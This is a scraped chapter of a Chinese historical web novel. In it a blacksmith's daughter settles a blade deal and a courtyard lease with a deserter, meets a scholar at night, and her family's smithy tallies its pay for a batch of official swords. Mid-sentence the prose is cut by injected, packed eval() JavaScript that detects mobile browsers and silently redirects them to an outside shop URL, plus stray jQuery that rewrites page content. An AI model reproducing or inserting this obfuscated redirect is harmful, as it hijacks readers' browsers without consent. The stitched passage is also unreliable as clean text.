默认冷灰
24号文字
方正启体

26. 第 26 章

作者:谢柏年本书字数:K更新时间:
    “你果然没死。”


    姜天涯松了匕首,“你是来替他取刀的?”


    孙福收敛了平日的神情,“我是来道谢的。”


    说罢举起手中之物,竟是两份食盒,“这是龚婶做的,你上次要的乳糕。”


    姜天涯神色一动,接过食盒道:“那这么说来你们是无事了,那他呢,怎么不亲自过来,是不想要那刀了?”


    “看来你很记挂我啊~”


    倏地只听得轻微一声,一道人影悄无声息地从外头翻进来,郝兆嘴角扯着一抹笑,身负披风,胡子拉碴,在琉璃灯下看着和块黑炭没什么两样。


    他手握着那把刀挥舞了几下抗在肩上,满脸得意,“真是把宝刀,这是剩下的钱。”


    “你是我徒弟,我记挂你应该的。”


    姜天涯接过那袋子沉甸甸的钱,手上的匕首晃了下,“你怎么找到这把刀的?”


    “是说我那匕首怎么都找不见,当真是被你顺走了。”


    姜隼哼笑一声:“怎么说也入了铁匠这行,如何不知要紧之物该如何藏?再说我也不知道你会在此等我们,还是说,你是怕我顺走那些官刀?”


    此人的心思,总是比别人多想一层。


    姜天涯将匕首插进了腰间皮带中,摇头道:“你拿走了也无济于事,都是半成品,且你那地方如今可不安全,官刀何其紧要,真被劫了,怕是整个县都要被闹翻天了。”


    郝兆一笑,“可你深更半夜拉着你的童养夫在此,不止是为了给我刀,而是想确认我有没有死吧?托你们口风严谨的福,我们尚且全安,小小衙役,还不能奈我等何。”


    林和尘许久未听这称呼,皱了皱眉头,却是没出声。


    “那日后你们如何要打算?是要寻个新住处么”姜天涯不答反问。


    “你还真想同我们来往?”郝兆一挑眉,说话时倚着门框看向院外,对林和尘道:“你那灯太亮,容易惹人注意。”


    林和尘看了眼姜天涯,走近她几步,这才给熄了,当下一片漆黑,四人皆适应了一阵,才勉强看清彼此人形。


    “我只是想问,你何时把陶姑娘放下山,她天赋异禀,未来定是位济世的大夫,每人都有自己一条路要走,你要干大事,莫非还要带着她么?”


    “这是家事。”郝兆脸上划过一丝厉色,侧身道:“原先我们请你入寨是一时兴起,看在你们年纪小的份上,许多事不同你们计较了,等日后……”


    “不必谈日后。”姜天涯上前几步,从袖内掏出一张白纸来,“上回说的后院之事便借与我吧,这是租赁单子,你且签字画押,日后那院子便由我暂打理,放心我们只借院子引水搭水排,绝不入你屋内。”


    郝兆和孙福皆是无言,林和尘也是屏住了呼吸,再怎么说,他们也是杀人不眨眼的逃兵,竟这么明目张胆地提条件。


    “再说我可救了他的命。”姜天涯指着孙福补充了句。


    “也罢。”郝兆冷嗤一声扯过那张纸,就着泥印盖了个手印。


    “如此便日后再会了,姜姑娘。”郝兆将刀藏于披风,朝孙福使了个眼色,两人便要匿进夜色中。


    一直没开口的林和尘却在此时拦住二人,“慢着,李德那些人,已有些怀疑是你们,此事还需得进行数月,以此消磨了他们疑心才好。”


    “是道姜姑娘做事麻利不拖泥带水,怎么会看上凡夫俗人。”郝兆深深地看过去一眼,“林和尘,你这人我记住了。”


    两人随即一前一后从院内利索地翻了出去,连一丝钢铁磕碰声都不曾听见。


    姜天涯驻足片刻,心道他并未说日后打算,未来也不知要如何同陶纤纤联络,郝兆为人粗中有细,也并不多贪财嗜血,为何偏偏要困着他的女儿。


    “人都走了,回去吧。”


    正想着,林和尘重新点了琉璃灯,顺着光亮两人踱到院内,一时有些诧然——方才出来时没注意,眼下月高盈照,不该是月圆的日子竟浑圆天成,如玉盘一般晶莹剔透。


    “这月亮倒比这琉璃灯更好看些。”林和尘不自觉感慨。


    “那你还我。”


    姜天涯作势要拿灯,被他反应极快地躲了开去,但步伐有些急乱,叫姜天涯一时玩性大起,绕着院子追起他来。


    林和尘初始有些不明白,但见姜天涯几次要够到灯了却偏偏不上手,才知道她是在玩,方才还在对峙逃兵流寇,这会便生了孩子般的念头,实在是没心没肺。


    但虽然这么想,脑子里一根弦隐隐地扯着,总觉得她是真心想把这灯拿回去,便也顺势满院子跑起来。


    两人也不知绕了几圈,跑着跑着便觉得好笑,但都不敢放大声说笑,直至林和尘累了,双手撑膝歇了片刻,见姜天涯又是冲过来要强夺,他做足了准备等着人上前,但却见姜天涯忽地步子顿住,朝院外看了眼。


    就这么一眼,林和尘顿时后背生寒,他屏息起身,渐渐地听到一串脚步声,但此脚步声不如郝兆那般中气十足,而是略拖着地面,有些虚弱无力之意。


    两人定定地朝院外看去,垫着脚尖到了院门前,拉了道门缝,半眯着眼看了片刻,便见一抹白色人影经由院外,及至院门前几步停了下来。


    林和尘浑身一颤,紧张地咽了口唾沫,又是挨近了姜天涯几分,“这是何物?”他其实是想说有鬼。


    姜天涯也是骇然,重新摸出匕首来,心道是人是鬼,都经不住她一刀刺下去。


    如此看了片刻,那白影静止不动了,姜天涯猛地冲那物一喊,“何人在此?”


    落在地上的影子浮动了几下,林和尘几乎脱力地贴着姜天涯后背,便听得那白影竟是应了声,“是姜姑娘么?我是贺琢。”


    贺琢?


    姜天涯将这名字在脑中消化了一番,忽地想起来,“贺举人?”


    “正是。”


    姜天涯松了口气,将院门全拉开了,便见那贺琢身披白袍,几缕发丝凌乱地散在额前,面色楞然,似在梦游。猛地看清姜天涯的脸,还有些呆滞,片刻后才反应过来,“是我失礼了,吓着你了吧。”


    姜天涯不在意那些虚礼,何况两人自小便相识,虽来往并不多,但也算得上熟人。


    “这般晚了,你怎么还在外头?不知晓近些日子衙役们巡逻的紧吗?”


    月色下看人,贺琢那张自幼泡在书中里的木讷之色少了几分,加之眼下这副打扮,瞧起来颇为灵动,姜天涯不免多看了几眼。


    “夜里难眠,故而出来走走,没想到路经姑娘院子,瞧见了些光亮,就被吸引过来了。”


    闻此姜天涯一怔,察觉到身后林和尘紧绷,回手拉人出了院子,“这是琉璃灯,我和师弟夜间赏月,带着灯免得摔跤,你可要瞧瞧?”


    贺琢被吸引过来,接了那琉璃灯端详片刻,赞道:“当真是好物件,如此通透多彩。”


    说罢目光悠悠转转,在两人面上来回转动,最后将琉璃灯还了回去,“姜姑娘好兴致,想来你们家铺子生意兴旺,师弟是越来越多了。”


    林和尘眼梢闪了闪,便听姜天涯笑道:“那是自然,贺举人若有不便之处,也尽可登门。”


    “那便多谢了。”


    贺琢微微躯身做礼,“夜深了,我就先回去了,姜姑娘和师弟也早点歇息吧。”


    姜天涯应了声,直站在院门外看着人走远了才锁上门,冲林和尘道:“今晚口径得一致,莫叫他日后怀疑灯的事了,他可是我们镇里有名的少年神


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439254|200435||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    童,不是一般的聪慧。”


    林和尘一把抽走她手里的琉璃灯,头也不回道:“用不着吧,若你不教他,他怕是都不知道这琉璃灯是什么。”


    他语气转瞬冷淡,姜天涯心道真是翻脸比翻书还快,“也真不知道刚才怕到贴着我人是谁,马后炮!”


    姜天涯摸着黑,比他还快地回了屋子。


    两扇门前后关罢,喝了盏茶的姜隼才重新躺下身,摇了摇头轻叹了口气。


    头一批官刀总算在立夏时完成,柳天初带人上门检验确保无误后,姜天涯等人按照给到的官刀编号逐一制成,最后在花纹上加了姜家记号,如此又过了两日方才算全部完成交差。


    这批刀被拉走当日便结清了工钱,姜隼叫林和尘做了账,给每个伙计都发了工钱,另外一人多加了一百文钱,算是松快几日的消遣。


    林和尘照单给钱,最后看着账本,刨除刘冰儿的工钱,这些日的起居加上一日三餐,剩下的钱竟然不多。


    他看着伙计工钱那栏,虽说从前也不曾接触此事,就眼下看来着实是高。


    “如此一来,铺子每月盈利可不多,兴许一年到头也不会积累多少。”


    林和尘看着姜隼皱纹深刻的脸,还是没忍住说了句。


    “在北回镇过的日子便这样。”


    姜隼笑了下,“你是想说伙计们的工钱多了些吧,确实,在整个镇里或是别的镇里,我们家工钱最高,可我们活计也多,他们平日尽心,从不生事,做什么都不推辞,如此便是两全其美。”


    “要想驴子跑的快,便得给苞谷吃。”


    姜天涯接了句通俗易懂的话,一手肘搭在他肩上,“你如今也肯为铺子考虑了,甚好甚好,咱们肯定也想赚钱,可如今最大的活计便是官刀了。”


    姜天涯一身热气,林和尘嫌弃地矮身抽出肩膀,倒也明白了他们的意思,其一是姜隼大方,利人利己,倘若下调了伙计们的工钱,便如朝堂之事一般转瞬万变;


    其二是想赚银子却无出路,北回镇处在这种犄角旮旯的地方,出路少,如今若想赚钱,自然要往人多,最好是军队驻扎之地去。


    想到此处林和尘不由得感慨,他从前觉着许多人不顾家国一昧赚黑心钱,如今这般推己度人,才知晓冒着风险吃饭都乃无可奈何。


    见林和尘神情一黯,姜隼转了话:“眼下第一批官刀结了,叫他们松快几日,再回来打第二批罢。对了,天涯你不是要搭水排?我瞧着你给那郝老板打的官刀被取走了,想来应该是商议好了?”


    姜天涯朝他看了眼,心道真是个老狐狸,什么都瞒不住。


    “我已经叫冰儿去喊匠人去了,如此搭好,就算活计少,咱们也松快些。”


    话音刚落,冰儿便从赶了回来,他领了工钱心花怒放,和三个匠人知会后,就去了布店买了几匹布,说要亲自给他们做衣裳。


    “我就不必了。”


    林和尘当场拒绝,他可不想穿一个绣了鲜艳的花花草草的衣裳。


    “那怎么行!”刘冰儿拒绝他的拒绝,“每人都有,不要客气。”


    姜天涯再次看了一出刘冰儿追着林和尘满院跑的戏码,笑的喘不过来气,一旁姜隼也直乐,说道:“倒是能把冰儿和林侄一个屋里睡了,我这一把老骨头,起夜都怕踩到人。”


    “这事你自个说,”姜天涯斜睨他一眼,“可别想指使我。”


    说罢起了身,又感叹道:“集市禁这么久,都无处可逛,师弟们松快去了,我也想松快几日啊~”


    “这有何愁的,咱们去春月楼打斗酒来,再买点五花肉,你不是最爱吃那炭火烤的肉菜么,备齐了,夜里在院里烤着吃,一家子人谈心喝酒,不也畅快的很。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)